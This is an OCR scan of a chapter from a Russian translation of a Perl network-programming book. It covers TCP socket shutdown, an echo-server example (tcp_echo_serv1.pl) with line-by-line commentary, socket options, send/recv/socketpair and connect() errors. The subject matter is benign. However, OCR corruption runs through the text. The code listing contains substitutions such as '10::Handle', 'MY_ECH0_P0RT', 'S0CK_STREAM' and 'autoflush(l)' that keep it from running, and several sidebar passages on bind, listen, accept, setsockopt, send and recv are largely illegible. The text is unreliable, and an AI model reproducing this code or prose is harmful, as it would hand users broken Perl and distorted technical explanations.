и для чтения, и для записи (как при вызове'функции closed). Ненулевое возвращаемое значение'!
показывает, что.останов был выполнен успешно? д
Таблица 4.1. Значения параметра функции shutdown о
Значение параметра $how Описание
0 Закрывает сокет для чтения
1 Закрывает сокет для записи
2 Полностью закрывает сокет
Кроме способности закрывать сокет наполовину, функция shutdown () обладает
еще одним преимуществом перед close (). Если в процессе в какой-то момент была
вызвана функция f ork (), то в дочерних процессах могут находиться копии дескриптора
файла сокета первоначального процесса. Обычная функция close (), выполняемая
в любой из копий, фактически не закрывает сокет до тех пор, пока не будут также закрыты
все другие его копии (дескрипторы файлов демонстрируют такое же поведение).
В результате клиент на другом конце соединения не получит сообщения о возникновении
условия конца файла EOF до тех пор, пока и родительский, и дочерний процессы не
закроют свои копии. В отличие от этого, функция shutdown () закрывает все копии
сокета и немедленно отправляет сообщение о возникновении условия конца файла EOF.
В данной книге мы воспользуемся несколько раз преимуществом этого средства.
Глава 4. Протокол TCP
111
Эхо-сервер TCP
Теперь рассмотрим простой сервер TCP. В отличие от клиента TCP, сервер обычно не
вызывает функцию connect (). Работа сервера TCP сводится в основном к следующему.
1. Создание сокета. Этот этап аналогичен соответствующему этапу работы
клиентской программы.
2- Привязка сокета к локальному адресу. Клиентская программа при вызове
функции connect () может позволить операционной системе выбрать
используемый IP-адрес и номер порта, а сервер должен иметь известный адрес,
чтобы к нему могли обращаться клиенты. По этой причине он должен явно
указать, с каким локальным IP-адресом и номером порта будет использоваться
сокет; этот процесс называется "связыванием" (binding). Для выполнения
этого действия применяется функция bind ().
3. Регистрация сокета в качестве приемного. Сервер вызывает функцию
listen (), которая сообщает операционной системе, что данный сокет будет
применяться для приема входящих запросов на установление соединений.
В вызове этой функции должно быть также указано число входящих
соединений, которые могут быть поставлены в очередь для ожидания того момента,
когда сервер сможет их принять.
Сокет, который зарегистрирован таким образом как готовый к приему
входящих соединений, называется приемным.
4. Прием входящих запросов на установление соединения. Теперь сервер
вызывает функцию accept (), как правило, в цикле. При каждом вызове функция
accept () ожидает входящий запрос на установление соединения, а затем
возвращает новый подключенный сокет, который соединен с другим участником
соединения (рис. 4.1). Эта операция не влияет на работу приемного сокета.
5. Выполнение ввода-вьгаода через подключенный сокет. Сервер использует
подключенный сокет для обмена информацией с другим участником
соединения. Закончив свою работу, сервер закрывает подключенный сокет.
Клиент
Сокет
клиента
1
'
Сокет
клиента
Входящее соединение
Установленное
-* >-
соединение
Подключенный
сокет
Сервер
Приемный
сокет
accept()
Приемный
сокет
Цикл
приема
Рис. 4.1. После получения входящего запроса на установление соединения
функция accept () возвращает новый сокет, подключенный к клиенту
6. Прием дополнительных соединений. С использованием приемного сокета
сервер может принять с помощью функции accept () любое число
соединений. Выполнив свои функции, он закрывает приемный сокет с помощью
функции close () и завершает работу.
112
Часть!. Основы
Программа, которая используется в качестве примера сервера, именуется
tcp_echo_servl.pl. Этот сервер представляет собой слегка измененную версию
стандартного эхо-сервера. Он возвращает все строки, которые были ему отправлены,
но не в первоначальном виде, а перевернутыми справа налево (но с сохранением
символа новой строки в конце). Поэтому после получения строки "Hello world!" он
отправляет строку "Jdlrow olleH". (Это было сделано только для того, чтобы
немного разнообразить скучный пример.)
К этом)' серверу можно обращаться с помощью клиентской программы,
приведенной в листинге 4.1, или с помощью стандартной программы Telnet. Код сервера
приведен в листинге 4.2.
Листинг 4.2. Программа tcp_echo_serv1.pl применяется для создания службы
зхо-сервера TCP
0: #! /usr/bin/perl
1: # Файл: tcp_echo_servl.pl
2: # Применение: tcp_echo_servl.pl [порт]
3: use strict;
4: use Socket;
5: use 10::Handle;
6: use constant MY_ECHO_PORT => 2007;
7: my ($bytes_out,$bytes_in) = (0,0);
8: my $port = shift || MY_ECH0_P0RT;
9: my $protocol = getprotobyname('tcp');
10: $SIG{'INT'} = sub {
11: print STDERR "bytes_sent = $bytes_out, bytes_received =
$bytes_in\n" ;
12: exit 0;
13: };
14: socket (SOCK, AF_INET, S0CK_STREAM, $protocol) or
die "socket() failed: $!";
15: setsockopt (SOCK, S0L_S0CKET,S0_REUSADDR, I) or
die "Can't set S0_REUSADDR : $!";
16: my $my_addr = sockaddr_in( $port, INADDR_ANY);
17: bind (SOCK, $my_addr) or die "bind() failed: $!";
18: listen (SOCK, S0MAXC0NN) or die "listen() failed: $!";
19: warn "waiting for incoming connections
on port $port...\n";
20: while (1) {
21: next unless my $remote_addr = accept(SESSION, SOCK);
22: my ( $port , $hisaddr) = sockaddr_in($remote_addr);
23: warn "Connection from [**, inet_ntoa ($hisaddr),
",$port]\n";
24: SESSION->autoflush(l) ;
25: while (<SESSI0N>) {
26: $bytes_in += length($_);
27: chomp;
28: my $msg_out = (scalar reverse $_) . "\n";
29: print SESSION $msg_out ;
30: $bytes_out += length ( $msg_out) ;
31: }
32: warn "Connection from [", inet_ntoa($hisaddr),
",$port] finished\n";
33: close SESSION;
34: }
35: close SOCK;
Глава 4. Протокол TCP
ИЗ
Проведем анализ программы.
• Строки 1-9. Загрузка модулей, инициализация констант и переменных. Как и в клиентской
программе, работа начинается с вызова модулей socket и Ю:: Handle. Определен также
приватный эхо-порт номер 2007, который не будет конфликтовать ни с одним существующим
эхо-сервером. Как и прежде, устанавливаются переменные Sport и $protocoi (строки В,9)
и инициализируются счетчики.
• Строки 10-13. Установка обработчика прерывания int. Необходимо предусмотреть способ
прервать работу сервера, поэтому устанавливается обработчик сигнала int (сокращение от
interrupt), который отправляется с терминала, когда пользователь нажимает клавиши <Ctrt+C>.
Этот обработчик просто выводит накопленные статистические данные из счетчиков байтов
и завершает работу программы.
• Строка 14. Создание сокета. С использованием параметров, аналогичных применяемым
в клиенте TCP, который показан в листинге 4.1, вызывается функция socket () для создания
потокового сокета TCP.
• Строка 15. Установка опции so_keusaddr сокета. На этом этапе устанавливается истинное
значение опции so_reusaddr путем вызова функции setsockopt (). Эта опция обычно используется
для обеспечения возможности немедленного уничтожения и перезапуска сервера. В ином случае
могут возникнуть условия, при которых операционная система не позволит выполнить повторную
привязку локального вдреса до тех пор, пока старые соединения не будут закрыты по тайм-ауту.
• Строки 16,17. Привязка сокета к локальному адресу. Теперь вызывается функция bind О
для назначения сокету локального адреса. Создается локальный адрес с помощью функции
sockaddr_in (), для указания порта передается значение выбранного нами приватного эхо-
порта, а в качестве IP-адреса указывается inaddr_any. Адрес inaddr_any действует как
символ шаблоне. Он позволяет операционной системе принимать соединения по любому из
IP-адресов хоста (включая адрес петли обратной связи и адреса любых сетевых плат, которые
могут быть в нем установлены).
• Строка 18. Вызов функции listen о для подготовки сокета к приему входящих
запросов на установление соединений. Вызывается функция listen О, которая сообщает
операционной системе, что данный сокет будет применяться для входящих соединений.
Функция listen () принимает два параметра. Первым является дескриптор файла сокетв,
а вторым — целое число, указывающее количество входящих соединений, которые могут быть
поставлены в очередь для ожидания обработки. Очень часто несколько клиентов пытаются
подключиться примерно в одно и то же время; этот параметр определяет максимально
возможное число соединений, ожидающих обработки. В этом случае применяется константа
somaxconn, определенная в модуле Socket, которая указывает максимальное число
поставленных в очередь соединений, допусквемое операционной системой.
• Строки 19-34. Вход в главный цикл. Основную часть этого кода составляет главный цикл
сервера, в котором сервер ожидвет и обслуживает входящие соединения.
• Строка 21. Прием входящего соединения с помощью функции accept О. При каждом
проходе по циклу вызывается функция accept (), в которой вторым параметром является имя
приемного сокета, а первым — имя нового сокета (session). (Да, порядок параметров немного
странный.) Если аызов функции accept () выполнен успешно, она возвращает а результате
своего выполнения упакованный адрес удаленного сокета, а в параметре session
возвращает подключенный сокет.
• Строки 22,23. Распаковка адреса клиента. Для распаковки адреса клиента, возвращенного
функцией accept (), на его компоненты — порт и IP-адрес, и вывода адреса на стандартное устройство
вывода сообщений об ошибках вызывается функция scckaddr_in () в контексте списка. В
реальном приложении эта информация вместе с отметкой времени может быть записана в журнал.
• Строки 24-33. Обработка соединения. В этой части кода осуществляется связь с клиентом
с использованием подключенного сокета. Вначале сокет session переводится в режим
автоматического сброса для предотвращения проблем буферизации. Затем выполняется
построчное чтение из сокета с использованием оператора о, обращение текста в строке и отправка
его назвд клиенту с помощью функции print (). Это продолжается до тех пор, пока оператор
<SESSiON> не вернет значение undef, которое указывает на то, что другой участник
соединения закрыл свой конец соединения. После этого закрывается сокет session, выводится со-
114
Часть 1. Основы
общение о состоянии и выполняется возврат управления из функции accept () для ожидания
следующего входящего соединения.
• Строка 36. Заключительные действия. После завершения главного цикла приемный сокет
закрывается. Эта часть кода никогда не достигается, поскольку согласно проекту для
завершения работы сервера применяется клавиша прерывания.
После запуска на выполнение из командной строки сервер выводит сообщение
"waiting for incoming connections" (ожидание входящих соединений), а затем
приостанавливает свою работу до тех пор, пока не получит входящий запрос на
установление соединения. В показанном здесь сеансе имеются два соединения: одно с
локального клиента по адресу петли обратной связи 127.0.0.1, а другое— с клиента по
адресу 192.168.3.2. После прерывания сервера появится статическая информация,
выведенная обработчиком INT.
% tcp_echo_servl.pl
waiting for incoming connections on port 2007. . .
Connection from [127.0.0.1,2865]
Connection from [127.0.0.1,2865] finished
Connection from [192.168.3.2,2901]
Connection from [192.168.3.2,2901] finished
ЛС
bytes_sent = 26, bytes_received = 26
Обработчик INT, применяемый в этом сервере, противоречит приведенным в главе 2
рекомендациям, касающимся того, что обработчики сигналов не должны выполнять
какой-либо ввод-вывод. Кроме того, вызов функции exit () из обработчика сигнала
влечет за собой риск активизации фатального исключения на компьютерах Windows во
время их останова. Более корректный способ останова сервера показан в главе 10.
Функции сокета, относящиеся к входящим
соединениям
Ниже перечислены три новые функции, которые обеспечивают обработку
входящих соединений в сервере.
$toolean = bin<J<SOCK,$—_addr)
. Выполняет привязку локального адреса к сокету и возвращает истинное энэчение при успешном
выполнении и ложное— е Противяоы случае. Сскет уже должен быть создан с «iomc-щью функции
socket (), а упакованный адрес сформирован функцией s-ckv*dr in у; или равнозначной
функцией. В части порта адреса может быть указан любой неиспользуемый порт в системе, а в части
IP-адреса может быть представлен адрес'однего"из сетевых интерфейсов хоста, адрес петли
обратной связи или символ шаблон.! inadd;_rny. -
f) В системах UNIX для, привязки; зарезервированных портов с номерами ниже 10?4 требуются при-
| вйлегиигсуперпадьзователя^<псш1^Вателя root)^В--ином случае при попытке выпглнить;привязку
I функция возвращает значение undef и устанавливает в переменной S! значение ошибки eagces
' ("Permission denied"—Доступ запрещен).
• Функция bind!) обычно вызывается в серверных программах для привязки еиочь создзннсгс
сокета к известному порту; однако она может быть также яыэвана е клиентской программе, если не-
1 обходимо указать в ней лекальный перт и/или сетевой интерфейс
{boolean » listen(SC'CK,SniAx_qu9V<J)
Функция listen <) сообщает операционной системе, что сокет будет применяться для приема
входящих соединений. Для вызова этой функции используются, два параметра: 'Дескриптор файла
совета, котсрый должен .быть уже создан с п'смрщьк) функции ocket {), и^оЛг*«исленное!.зн9чение,
указывающее число входящих соединений, которые' могут .быть поставлены в очередь.
Глава 4. Протокол TCP
115
I Максимальный размер очереди зависит от операционной системы. При указании более высокого',
р значения, чем допускается в операционной системе, функция listen {) уменьшает его до макси- \
^ мально допустимого без каких-либо сообщений. Модуль Socket экспортирует константу somaxconn, 4
f позволяющую определить это максимальное значение. >■., :, .$
г При успешном выполнении функция listen {};Ыйвращает истинное значение и отмечает сокет
fispgjc как приемный, 8 ином случае она5возвращает значение undef; при этом в переменной $* со-,]
i держится соответствующее сообщение об ошибке. ]
| $remote_addr «= accept (CONKECTED_SOCKEirIjISTEN_SOCKET) . „ ЯЛ
I После того как сокет отмечен как Приемный, должна быть вызвана функция accept (). для прие-1
j. ма входящих соединений. Функция accept '(у имеет два параметра: commected_SOCKet~ имя де-
('скрипторафайла.^торое приобретает вновь подключенны
| ного сокета. В случёе успешного выполнения функция возвращает упакованный адрес удаленного
j хоста, а параметр ccmnectedjsocket приводится в соответствие с входящим соединением.
{* После выполнения функции.ассерьч) для взаимодействия со вторым участником соединения приме^"
[Гняется дескриптор файла connectedjspcket. (Этот дескриптор файла не нужно создавать заранее.)
f В качестве дополнительной информации укажем, что ^fyffloimcacceptf) можно рассматривать как осо-
Ебую форму функции>ореп<), в которой вместо имени файла указан дескриптор файла listenjSocket.
[ Если ни одно входящее соединение яе ждет приема, функция accept 0 блокируется до тех пор,
: пока таковое не появится. Если же клиенты подключаются быстрее, чем сценарий вызывает
функцию accept О, .запросы клиентов на соединение устанавливаются в очередь вплоть до предела,^
|указанного в вызове функции listenX). *. __ *8 .г-л.,,-»'
Функция accept К) возвращает значение undef„ecnH возникает одна из многочисленных ава-
рийных ситуаций, при этом в переменной $! содержится соответствующее сообщение об ошибке,
$iiiy_addr = getsocknanie(SOCK) ■ ' *~ft
$remote_addr = десреегпаше I SOCK) |;!
Для выборки локального или удаленного адреса, связанного с сокетом, может применяться;
функция getsfeckname () или getpeertiame (). ■ я
sJ Функция getsockname<) возвращает упакованный двоичный адрес сокета с локальной стороны
соединения или значение undef, если сокет являетсяf непривязанным. Функция getpeetname ()
! действует таким же образом, но возвращает адрес сокета с удаленной'стороны соединения или*
{. значение undes, если сокет является неподключенным. "? •"*, • - "
jV' В любом случае возвращенный адрес должен быть распакован с помощью функции
hsockaddr_in(у, какпоказанов следующем примере. :>Н - J.
if ($rembte_addr ?= getpeerriame(SOCK)) { л
■ my ($port,;$ip) =*ipckad<fr^in($remote_addr) ;
my.$host =gethostbyaddr(Sip, AF_I.NET );■
print !"Socket is connected to $host at porC-. $port\nn
i
Ограничения программы tcp_echo_serv1.pl
Хотя программа tcp_echo_servl .pi работает и в таком виде, она имеет ряд
недостатков, которые будут устранены в следующих главах. К числу таких недостатков
относятся следующие.
1. Отсутствует поддержка нескольких входящих соединений. Это — самая
большая проблема. Сервер может принимать одновременно только одно
входящее соединение. В течение того времени, пока он занимается
обслуживанием существующего соединения, другие запросы будут ожидать в очереди до тех
пор, пока текущее соединение не будет закрыто и в главном цикле не будет
снова вызвана функция accept (). Если число клиентских запросов, постав-
116
Часть 1. Основы
ленных в очередь, превысит значение, указанное в функции listen (), новые
входящие запросы на установление соединений будут отклонены.
Для устранения этой проблемы сервер должен обеспечивать параллельную
обработку с помощью потоков или процессов или же в нем должно быть
предусмотрено гибкое мультиплексирование операций ввода-вывода. Эти методы
рассматриваются в части III данной книги.
2. Сервер остается на переднем плане. После запуска сервер продолжает работать
на переднем плане, поэтом}' любой сигнал с клавиатуры (такой, как <Ctrl+C>)
может прервать его работу. Постоянно функционирующие серверы должны быть
недоступны для прерываний с клавиатуры и переведены в фоновый режим. Методы
осуществления этого описаны в главе 10, "Серверы с ветвлением и демон inetd".
3. В сервере применяются слишком примитивные средства ведения журнала. Сервер
выводит информацию о состоянии в выходной поток стандартного устройства
вывода сообщений об ошибках. Однако надежный сервер должен работать в
фоновом режиме и не иметь доступа к стандартному устройству вывода сообщений об
ошибках. Сервер должен вводить записи журнала в файл или использовать
собственные средства для ведения журнала операционной системы. Методы ведения
журнала описаны в главе 14, "Повышение безотказности серверов".
Корректировка опций сокета
Сокеты имеют опции, которые управляют различными характеристиками их
работы. В частности, эти опции позволяют устанавливать размеры буферов, используемых
для отправки и приема данных, значения тайм-аутов отправки и приема, а также
определять, может ли сокет использоваться для приема широковещательных сообщений.
Опции, предусмотренные по умолчанию, вполне приемлемы в большинстве
случаев; однако иногда может потребоваться откорректировать некоторые из них для
оптимизации приложения или разрешить использовать необязательные средства
протокола TCP/IP. Наиболее широко применяемой опцией является SO_REUSADDR,
которая часто активизируется в серверных приложениях.
Опции сокета можно определять или изменять с помощью встроенных функций
getsockopt () и setsockopt () языка Perl.
$value = getsockopt (SCCK,$level,$optiori_name); %.
^boolean '-= setsockopt(SOCK,$level,$option_name,$option_value) ;
Функции getsockopt() *rsetsockopt|y позволяют определять»! изменять опции сокета. Пёр- ■
вым параметром является дескриптор файла ранее созданного сокета. Второй параметр, $level,'sJ
указывает уровень сетевого'стека, к которому применяются рассматриваемые опции. Обычно ис- ■
пользуется крНстанта;>Во_БоскЕТ, которая указывает, что "действие функции должно распростри- |
няться на сам сокет. Однако функции getsockopt (У и setsockopt () иногда применяются для j
корректировки опций протоколов ТСР'Или UDP, и в этом случае в качестве второго параметра
должен быть указан номер протокола, возвращенный функцией getprctobyriame (). WW
Третий параметр, ^pption^name,— целочисленное значение, выбранное из обширного списка^
возможных констант. Последний, четвертый параметр, $option_value, представляет собой
допустимое значение, которое должно быть присвоено опции; при получении недопустимого значения функция,
возвращает undef. При успешном выполнении функция getsockopt О возвращает значение,
затребованное опцией, а в ином случве — undef. В случае успешного выполнения, если опция была успеш-_
но установлена, функция setsockopt^) возвращает истиннре,значение, в ином случае—undef. |
Глава 4. Протокол TCP
117
Значение опции часто представляет собой логический флажок, который
указывает, должна ли быть опция включена или выключена. В данном случае для установки
или определения значения этой опции не требуется специальный код. Например,
ниже показано, как установить истинное значение опции SO_BROADCAST
(широковещательная рассылка рассматривается в главе 20).
setsockopt(SOCK,S0_S0CKET,S0_BR0ADCAST,1);
Далее показано, как выбрать текущее значение этого флажка.
my $reuse = getsockopt(SOCK, SO_SOCKET,SO_BROADCAST);
Однако для некоторых опций применяются целые числа или более сложные
типы данных, такие как структуры tiitieval языка С. В этом случае необходимо
упаковывать значения в двоичную форму перед передачей функции setsockopt ()
и распаковывать их после вызова функции getsockopt (). Ниже показано, как
распаковать значение максимального размера буфера, применяемого в сокете для
хранения исходящих данных. Опция S0_SNDBUF представлена в виде упакованного
целого числа (формат "I").
$send_buffer_size =
unpack("I",getsockopt($sock,SOL_SOCKET,SO_SNDBUF));
Широко применяемые опции сокета
Опции сокета, широко применяемые в сетевом программировании, перечислены
в табл. 4.2. Эти константы импортируются по умолчанию при загрузке модуля Socket.
Опция SO_REUSADDR позволяет выполнить повторную привязку сокета TCP
к уже применяемому локальному адресу. Она принимает логический параметр,
указывающий, должно ли быть активизировано повторное использование адреса.
Дополнительная информация приведена в разделе "Опция сокета SO REUSADDR"
далее в этой главе. При установке опции SO_KEEPALIVE равной истинному
значению, она сообщает, что подключенный сокет должен периодически отправлять
сообщения на другой конец соединения. Если удаленный хост не ответит на
сообщение, то процесс получит сигнал PIPE при следующей попытке выполнить
запись в сокет. Интервал между сообщениями поддержки соединения,
предусмотренными опцией SO_KEEPALIVE, зависит от операционной системы,
поэтому он принимает разные значения в различных операционных системах (в
системе Linux автора он равен 45 с). Опция SO_JLINGER определяет, что должно
произойти при попытке закрыть сокет TCP, в котором еще находятся
неотправленные данные, поставленные в очередь. Обычно функция close ()
немедленно выполняет возврат, а операционная система пытается переслать
неотправленные данные в фоновом режиме. При желании можно обеспечить
блокировку вызова функции close () до отправки всех данных, установив значение
S0_LINGER, что позволит проверять значение, возвращаемое функцией close (),
для определения того, была ли она выполнена успешно.
В отличие от других опций сокета, в опции S0_LINGER применяется упакованный
тип данных, известный под именем структуры linger (что означает "задержка").
Структура linger состоит из двух целых чисел: флажка, указывающего, должна ли
опция S0_LINGER быть активной, и значения тайм-аута, определяющего, на какое
максимальное число секунд должно быть задержано выполнение функции close ()
118
Часть!. Основы
до того, как она выполнит возврат. Структура linger должна упаковываться и
распаковываться с использованием формата "II":
$linger = pack("II",$flag,$timeout);
Например, для обеспечения задержки закрытия сокета, вплоть до 120 секунд,
можно применить следующий фрагмент кода.
setsockopt(SOCK,SOL SOCKET,SO_LINGER,pack("II", 1,120))
or die ''Can't set SOJLINGER: $!";
Опция SO_BROADCAST может применяться только для сокетов UDP. При
установке этой опции в истинное значение она позволяет использовать функцию send () для
отправки пакетов по широковещательному адресу и доставки на все хосты локальной
подсети. Широковещательная рассылка рассматривается в главе 20.
Флажок SO_OOBINLINE управляет обработкой внеочередных сообщений.
Это средство позволяет предупредить другого участника соединения о появлении
высокоприоритетных данных. Применение этого средства рассматривается в главе 17.
Опции SO_SNDLOWAT и SO_RCVLOWAT устанавливают нижние отметки,
соответственно, для выходного и входного буферов. Важное значение этих опций будет
показано в главе 13, "Неблокирующий ввод-вывод". Эти опции представляют собой
целые числа и должны упаковываться и распаковываться с использованием
формата упаковки "I".
Опция S0_TYPE предназначена только для чтения. Она возвращает тип сокета,
такой как SOCK_STREAM. Это значение должно быть распаковано с помощью формата
"I" перед его использованием. Метод sockopt () модуля 10: : Socket,
рассматриваемый в главе 5, выполняет это преобразование автоматически.
Таблица 4.2. Широко применяемые опции сокета
Опция Описание
SO_REUSADDR Разрешить многократное использование локального адреса
SO_KEEPALIVE Разрешить периодическую передачу сообщений "поддержки соединения"
S0_LINGER Задержать закрытие соединения, если есть неотправленные данные
S0_BR0ADCAS Т Разрешить посылать сообщения из сокета по широковещательному адресу
SOOOBINLINE Сообщить о наличии внеочередных данных
S0_SN DLOWAT Получить или установить величину "нижней отметки" выходного буфера
SO_RCVLOWAT Получить или установить величину "нижней отметки" входного буфера
S0_TYPE Получить тип сокета (допускается только чтение)
S0ERR0R Получить и очистить последнюю ошибку в сокете (допускается
только чтение)
И наконец, опция S0_ERR0R, предназначенная только для чтения, возвращает
код ошибки, возникшей во время последней операции с сокетом, если имела
место ошибка. Эта опция применяется для некоторых асинхронных операций,
таких как неблокирующее подключение (глава 13). Значение ошибки после его
считывания очищается. Как и в других случаях, при использовании функции
getsockopt () необходимо распаковать значение с помощью формата "I" перед
его использованием, но это преобразование выполняется автоматически модулем
IO::Socket.
Глава 4. Протокол TCP
119
Опция сокета SO_REUSADDR
Во многих серверных приложениях должен быть активизирован флажок
SO_REUSADDR. С помощью этого флажка можно повторно привязать к серверной
программе адрес, который уже находится в использовании, что позволяет
немедленно выполнить перезапуск сервера после его аварии или уничтожения. Без этой опции
вызов функции bind () заканчивался бы неудачей до тех пор, пока все старые
соединения не закроются по тайм-ауту; такой процесс может занять несколько минут.
Для решения этой проблемы может быть вставлена следующая строка кода после
вызова функции socket () и перед вызовом функции bind ().
setsockopt(SOCK,SOL_SOCKET,SO_REUSADDR, 1)
or die "setsockopt: $!";
Недостатком установки опции SO_REUSADDR является то, что она позволяет
запустить сервер дважды. Оба процесса смогут выполнить привязку к одном)' и том)' же
адресу без активизации какой-либо ошибки, а затем будут конкурировать за входящие
соединения, что может привести к нежелательным результатам. В серверах, которые
будут разрабатываться позже (например, в главах 10, 14 и 16), такая возможность
исключается путем создания файла при запуске программы и удаления его перед завер
шением работы. Запуск сервера не выполняется, если обнаруживается, что такой
файл уже существует.
Операционная система не позволяет связывать с пользовательским процессом
адрес сокета, уже связанного с другим пользовательским процессом, независимо от
установки опции SO_REUSADDR.
Функции fcntl() и ioctl()
Кроме опций сокета, для установки атрибутов могут применяться функции
f cntl () и ioctl () .Функция f cntl () рассматривается в главе 13, где она
используется для включения неблокирующего ввода-вывода, и в главе 17, где применяется для
определения владельца сокета, чтобы он мог получить сигнал URG при поступлении
в сокет срочных данных TCP.
Функция ioctl () рассматривается также в главе 17 для реализации функции
обработки срочных данных sockatmark () и в главе 21 — для создания функций,
предназначенных для определения и изменения IP-адресов, назначенных сетевым интерфейсам.
Другие функции, относящиеся к сокетам
Кроме рассмотренных функций, к сокетам относятся еще три встроенные
функции Perl: send (), recv () и socketpair (). Функции send () и recv ()
рассматриваются в следующих главах этой книги при описании срочных данных TCP (глава 17)
и протокола UDP (главы 17-20).
\ $bytes = send(SOCK,$data,$flags[,$destination])
с В функции send () сокет, указанный первым параметром, применяется для доставки данных,
г обозначенных параметром ?data, по адресу назначения, указанному параметром ^destination.
Если данные успешно поставлены в очередь для передачи) функция send () возвращает число от-
' правленных байтов; в ином случае она возвращает значение una^f. Следующий параметр, $ flags,
120
Часть!. Основы
* мржетбыть'пустым/ содержать одну из опций, перечисленных в табл. 4.3, илидве опции,
соединенные поразрядным олерШтором °ИЛИ"^ ^
t ' r * .. •% =
[ Флажок msgjdob подробно рассматривается в главе 17. Флажок msg^dontjioute применяется
j в программах маршрутизации и диагностики и не рассматривается в этой книге. Как правило, в каче- :
' стве параметра Sflags необходимо передавать значение 0 для применения правил поведения
s функции, предусмотренныхЧю умолчанию. - 5 -= ^
Если сокет представляет собой подключенный сокет TCPj параметр Stiestiijation не должен
I указыватьсяи функция бегШ) действует примерно так же, как eyswriteO. При использовании
t функции send О с сокетами UDP адрес назначения можно изменять при каждом ее вызове.
| л. $addiess «= recv(SOCK,$buffer,$length,$flags) * ti „ ••
\ '■'"' Функция recvO принимает вплоть до $ length байтов из указанного сокета и помещает их
! в скалярную переменную $ijuf f ex. Размер буфера увеличивается или уменьшается в соответствии я
; с объемом фактически считанных данных. Параметр $ flags имеет такой же смысл, как и соответст- '
вующИй параметр функциивепсй), и*обычно должен устанавливаться равным о'.
При. успешном выполнении функция recv () возвращает упакованный адрес сокета отправителя
сообщения. В случае ошибки она возвращает значение undef; при этом устанавливается соствет-
i стаующее значение переменной $!. " ■=-'" ■■■ -"' л j
h r При вызове с указанием в качестве параметра подключенного сокета TCP функция recv о дей-'
* ствует аналогично функции §ysread(), за исключением того, что она возвращает адрес другого3
■/участника ^соединения. Истинное назначение функции vecv[ )| состоит в приеме дейтаграмм,
пережданных по яротоколу UDP. 4 i
г $boolean=* eocketpair(SOCK_A,SCX:K_B,Sdomain,$type,$protocol) *
1 " Функция socK.etpa'ir ()' создаёт два безымянных сокета, подключённых друг к другу* Параметры
[; Sdpmain, $type*i Sprotpcofl. имеют такой же.емысл^ как ив функции socket О- В случае успешно-
f го выполнения функция iocketpair.O возвращает истинное значение и открывает сркеты с дескт
"рипторами файлов sock_a h.sockjb., ,!
Таблица 4.3. Флажки функции send о
Опция Описание
MSG_OOB Передать байт срочных данных через сокет TCP
MSG_DONTROUTE Обойти таблицы маршрутизации
Функция socketpair () аналогична функции pipe (), которая была рассмотрена
в главе 2, за исключением того, что соединение является двунаправленным. Обычно
в сценарии создается пара сокетов, а затем выполняется функция fork (), после чего в
родительском процессе закрывается один сокет, а в дочернем—другой. Затем эти два сокета
могут применяться для двухсторонней связи между родительским и дочерним процессами.
Хотя функция socketpair () в принципе может применяться для работы с
протоколами домена INET, на практике в большинстве систем она используется только для
создания сокетов домена UNIX. Ниже приведен пример применения этой функции.
socketpair(S0CK1,S0CK2, AF_UNIX,SOCK_STREAM,PF_UNSPEC) or die $!;
Примеры использования сокетов домена UNIX приведены в главе 22.
Константы обозначения конца строки,
экспортируемые модулем Socket
Кроме констант, применяемых для построения сокетов и установления
исходящих соединений, модуль Socket дополнительно обеспечивает экспорт констант
Глава 4. Протокол TCP
121
и переменных, которые могут использоваться для создания сетевых серверов,
обеспечивающих обмен текстовой информацией.
Как было показано в главе 2, в разных операционных системах применяются
различные способы обозначения конца строки в текстовом файле: символ возврата
каретки (CR), символ перевода строки (LF) или сочетание символов возврата
каретки/перевода строки (CRLF). Дополнительную путаницу вносит то, что управляющие
последовательности "\г" и "\п" языка Perl преобразуются в разные символы ASCII
в зависимости от того, каким образом представлен символ новой строки
в конкретной операционной системе.
Хотя это правило имеет исключения, в большинстве текстовых сетевых служб для
обозначения конца строки применяется последовательность CRLF, которая имеет
восьмеричное значение "\015\012". При построчном чтении данных с таких серверов
необходимо установить глобальную переменную $/ разделителя входных записей равной
"\015\012" (а не "\г\п", поскольку эта строка имеет различное значение на разных
платформах). Для упрощения этой задачи модуль Socket позволяет дополнительно
выполнить экспорт нескольких констант, определяющих наиболее распространенные
обозначения конца строки (табл. 4.4). Кроме того, чтобы было проще преобразовывать эти
последовательности в строки, модуль Socket экспортирует переменные $CRLF, $CR и $LF.
Таблица 4.4. Константы, экспортируемые модулем Socket
Имя Описание
CRLF Константа, которая содержит последовательность CRLF
CR Константа, которая содержит символ CR
LF Константа, которая содержит символ LF
Эти символы не экспортируются по умолчанию, но должны быть вызваны с
помощью оператора use либо отдельно, либо путем импорта тега ":crlf". В последнем
случае целесообразно выполнить также импорт тега ": DEFAULT" для получения
применяемых по умолчанию констант, относящихся к сокету.
use Socket qw(:DEFAULT :crlf);
Исключительные ситуации, возникающие
во время связи по протоколу TCP
Протокол TCP обладает исключительной надежностью. Он способен работать при
медленных соединениях, ненадежных маршрутизаторах, периодических выходах
сети из строя и многих неправильных настройках и при этом передавать равномерный
поток данных, свободный от ошибок.
Однако протокол TCP не может преодолеть все проблемы. В данном разделе
вкратце рассматриваются обычные исключительные ситуации, а также некоторые
распространенные ошибки программирования.
122
Часть!. Основы
Исключительные ситуации, возникающие во
время выполнения функции connect!)
Во время вызова функции connect () часто возникают следующие ошибки.
1. Удаленный хост работает, но ни один сервер не принимает входящие
запросы на установление соединений. Клиент пытается подключиться к
удаленному хосту, но ни один сервер не принимает входящие запросы через
указанный порт. Функция connect () завершается аварийно с ошибкой
ECONNREFUSED ("Connection refused" — В соединении отказано).
2- Удаленный хост остановлен в то время, как клиент пытается установить
соединение. Клиент пытается подключиться к удаленному хосту, но хост не
работает (на нем произошла авария или он недоступен). В этом случае
функция connect () блокируется до тех пор, пока она не будет завершена
аварийно по тайм-ауту с ошибкой ETIMEDOUT ("Connection timed
out"—Соединение завершено по тайм-ауту). Протокол TCP допускает работу в
условиях медленных сетевых соединений, поэтому тайм-аут может не наступить
в течение долгих минут.
3. Сеть неправильно настроена. Клиент пытается подключиться к удаленному
хосту, но операционная система не может определить способ
перенаправления сообщения по требуемому адресу назначения, поскольку неправильно
выполнена настройка локального хоста или маршрутизатора, расположенного по
пути следования. В этом случае функция connect () завершается аварийно
с ошибкой ENETUNREACH ("Network is unreachable" —Сеть недоступна).
4. В программе допущены ошибки. Многие ошибки возникают из-за
распространенных дефектов в программе. Например, при попытке вызвать
функцию connect () с дескриптором файла, а не с сокетом возникает ошибка
ENOTSOCK ("Socket operation on non-socket"— Операция сокета не
с сокетом). Попытка вызвать функцию connect () с сокетом, который уже
подключен, приводит к возникновению ошибки EISCONN ("Transport
endpoint is already connected"— Оконечная точка транспортного
протокола уже подключена).
Ошибка ENOTSOCK может быть также возвращена при других вызовах сокета,
